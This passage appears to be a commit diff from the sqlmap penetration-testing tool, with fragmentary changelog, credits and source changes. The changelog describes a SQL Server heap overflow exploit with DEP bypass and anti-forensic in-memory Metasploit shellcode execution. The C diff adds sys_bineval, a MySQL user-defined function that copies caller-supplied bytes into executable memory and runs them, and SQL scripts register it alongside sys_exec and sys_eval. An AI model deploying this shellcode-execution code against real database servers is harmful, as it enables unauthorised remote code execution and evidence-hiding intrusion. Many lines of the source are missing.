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bdamelebdamele
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Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring.
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Lines changed: 1693 additions & 642 deletions

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‎doc/ChangeLog‎

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@@ -1,3 +1,26 @@
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sqlmap (0.8-1) stable; urgency=low
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* Major enhancement to the Microsoft SQL Server stored procedure
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heap-based buffer overflow exploit (--os-bof) to automatically bypass
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DEP memory protection.
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* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
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via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
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option instead of uploading the standalone payload stager executable.
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* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
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read/add/delete Windows registry keys.
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* Added options for MySQL and PostgreSQL to inject custom user-defined
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functions.
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* Added support for --first and --last so the user now has even more
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granularity in what to enumerate in the query output.
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* Minor enhancement to save the session by default in
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'output/hostname/session' file if -s option is not specified.
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* Minor improvement to automatically remove sqlmap created temporary
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files from the DBMS underlying file system.
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* Minor bugs fixed.
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* Major code refactoring.
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-- Bernardo Damele A. G. <[email protected]> DAY, DD MMM 20YY 10:00:00 +0000
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sqlmap (0.7-1) stable; urgency=low
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* Adapted Metasploit wrapping functions to work with latest 3.3

‎doc/THANKS‎

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@@ -20,7 +20,7 @@ Cesar Cerrudo <[email protected]>
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sqlmap tree as a contrib library and used to run the stand-alone
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payload stager on the target Windows machine as SYSTEM user if the
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user wants to perform a privilege escalation attack,
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http://www.argeniss.com/research/Churrasco.zip
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http://www.argeniss.com/research/TokenKidnapping.pdf
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Karl Chen <[email protected]>
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for providing with the multithreading patch for the inference
@@ -50,6 +50,11 @@ Dan Guido <[email protected]>
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Adam Faheem <[email protected]>
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for reporting a few bugs
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James Fisher <[email protected]>
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for providing me with two very good feature requests
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for his great tool too brute force directories and files names on
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web/application servers, Dir Buster, http://tinyurl.com/dirbuster
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Jim Forster <[email protected]>
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for reporting a bug
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@@ -70,6 +75,7 @@ Ivan Giacomelli <[email protected]>
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for reviewing the documentation
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Oliver Gruskovnjak <[email protected]>
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for reporting a bug
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for providing me with a minor patch
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Davide Guerri <[email protected]>
@@ -108,10 +114,13 @@ Nicolas Krassas <[email protected]>
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for reporting a bug
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Guido Landi <[email protected]>
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for reporting a couple of bugs
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for the great technical discussions
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for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
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'sp_replwritetovarbin' stored procedure heap-based buffer overflow
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(MS09-004) exploit development, http://www.milw0rm.com/author/1413
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(MS09-004) exploit development
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for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
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on September 21, 2009
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Lee Lawson <[email protected]>
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for reporting a minor bug
@@ -153,6 +162,9 @@ John F. Reiser <[email protected]>
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Antonio Parata <[email protected]>
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for providing me with some ideas for the PHP backdoor
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Adrian Pastor <[email protected]>
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for donating to sqlmap development
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Chris Patten <[email protected]>
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for reporting a bug in the blind SQL injection bisection algorithm
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‎extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile‎

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@@ -3,4 +3,4 @@ LIBDIR=/usr/lib
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install:
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gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
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strip -sx so/lib_mysqludf_sys.so
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cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
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sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so

‎extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql‎

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@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
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DROP FUNCTION IF EXISTS sys_set;
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DROP FUNCTION IF EXISTS sys_exec;
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DROP FUNCTION IF EXISTS sys_eval;
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DROP FUNCTION IF EXISTS sys_bineval;
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CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
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CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
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CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
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CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
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CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
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CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';

‎extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so‎

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‎extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c‎

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#define DLLEXP __declspec(dllexport)
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#else
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#define DLLEXP
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#include <sys/types.h>
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#include <sys/wait.h>
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#include <unistd.h>
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#endif
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#ifdef STANDARD
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, char *error
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);
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/**
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* sys_bineval
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*
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* executes bynary opcodes.
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* Beware that this can be a security hazard.
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*/
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DLLEXP
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my_bool sys_bineval_init(
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UDF_INIT *initid
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, UDF_ARGS *args
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);
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DLLEXP
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void sys_bineval_deinit(
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UDF_INIT *initid
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);
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DLLEXP
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int sys_bineval(
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UDF_INIT *initid
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, UDF_ARGS *args
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);
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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DWORD WINAPI exec_payload(LPVOID lpParameter);
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#endif
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#ifdef __cplusplus
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}
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}
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return status;
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}
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void lib_mysqludf_sys_info_deinit(
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UDF_INIT *initid
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){
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}
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char* lib_mysqludf_sys_info(
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UDF_INIT *initid
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, UDF_ARGS *args
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return 1;
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}
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}
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void sys_get_deinit(
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UDF_INIT *initid
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){
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}
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char* sys_get(
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UDF_INIT *initid
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, UDF_ARGS *args
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}
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return 0;
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}
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void sys_set_deinit(
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UDF_INIT *initid
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){
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if (initid->ptr!=NULL){
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free(initid->ptr);
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}
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}
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long long sys_set(
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UDF_INIT *initid
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, UDF_ARGS *args
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return 1;
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}
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}
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void sys_exec_deinit(
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UDF_INIT *initid
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){
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}
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my_ulonglong sys_exec(
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UDF_INIT *initid
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, UDF_ARGS *args
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return 1;
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}
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}
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void sys_eval_deinit(
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UDF_INIT *initid
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){
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}
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char* sys_eval(
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UDF_INIT *initid
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, UDF_ARGS *args
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return result;
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}
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my_bool sys_bineval_init(
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UDF_INIT *initid
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, UDF_ARGS *args
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){
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return 0;
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}
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void sys_bineval_deinit(
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UDF_INIT *initid
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){
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}
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int sys_bineval(
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UDF_INIT *initid
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, UDF_ARGS *args
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){
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int32 argv0_size;
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size_t len;
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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int pID;
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char *code;
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#else
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int *addr;
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size_t page_size;
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pid_t pID;
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#endif
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argv0_size = strlen(args->args[0]);
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len = (size_t)argv0_size;
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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// allocate a +rwx memory page
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code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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strncpy(code, args->args[0], len);
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WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
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#else
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pID = fork();
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if(pID<0)
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return 1;
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if(pID==0)
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{
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page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
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page_size = (len+page_size) & ~(page_size); // align to page boundary
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// mmap an rwx memory page
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addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
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if (addr == MAP_FAILED)
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return 1;
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strncpy((char *)addr, args->args[0], len);
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((void (*)(void))addr)();
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}
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if(pID>0)
525+
waitpid(pID, 0, WNOHANG);
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#endif
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return 0;
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}
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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DWORD WINAPI exec_payload(LPVOID lpParameter)
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{
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__try
535+
{
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__asm
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{
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mov eax, [lpParameter]
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call eax
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}
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}
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__except(EXCEPTION_EXECUTE_HANDLER)
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{
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}
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return 0;
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}
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#endif
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#endif /* HAVE_DLOPEN */
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#endif /* HAVE_DLOPEN */

‎extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll‎

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‎extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql‎

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@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
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DROP FUNCTION IF EXISTS sys_set;
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DROP FUNCTION IF EXISTS sys_exec;
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DROP FUNCTION IF EXISTS sys_eval;
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DROP FUNCTION IF EXISTS sys_bineval;
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CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
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CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
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CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
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CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
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CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
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CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll';

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